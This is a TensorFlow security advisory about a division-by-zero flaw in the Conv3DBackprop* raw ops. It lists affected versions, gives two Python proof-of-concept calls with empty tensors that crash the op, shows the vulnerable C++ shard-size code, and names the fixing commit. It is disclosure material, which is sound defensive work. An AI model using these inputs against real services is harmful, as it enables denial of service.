GHSA-c968-pq7h-7fxv Division by 0 in `Conv3DBackprop*`

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0: ```python import tensorflow as tf input_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32) filter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32) out_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32) tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` ```python import tensorflow as tf input_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32) filter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32) out_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32) tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` This is because the implementation does not check that the divisor used in computing the shard size is not zero: ```cc const int64 size_A = output_image_size * dims.out_depth; const int64 size_B = filter_total_size * dims.out_depth; const int64 size_C = output_image_size * filter_total_size; const int64 work_unit_size = size_A + size_B + size_C; ... const size_t shard_size = use_parallel_contraction ? 1 : (target_working_set_size + work_unit_size - 1) / work_unit_size; ``` Thus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error. Patches We have patched the issue in GitHub commit 311403edbc9816df80274bd1ea8b3c0c0f22c3fa. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.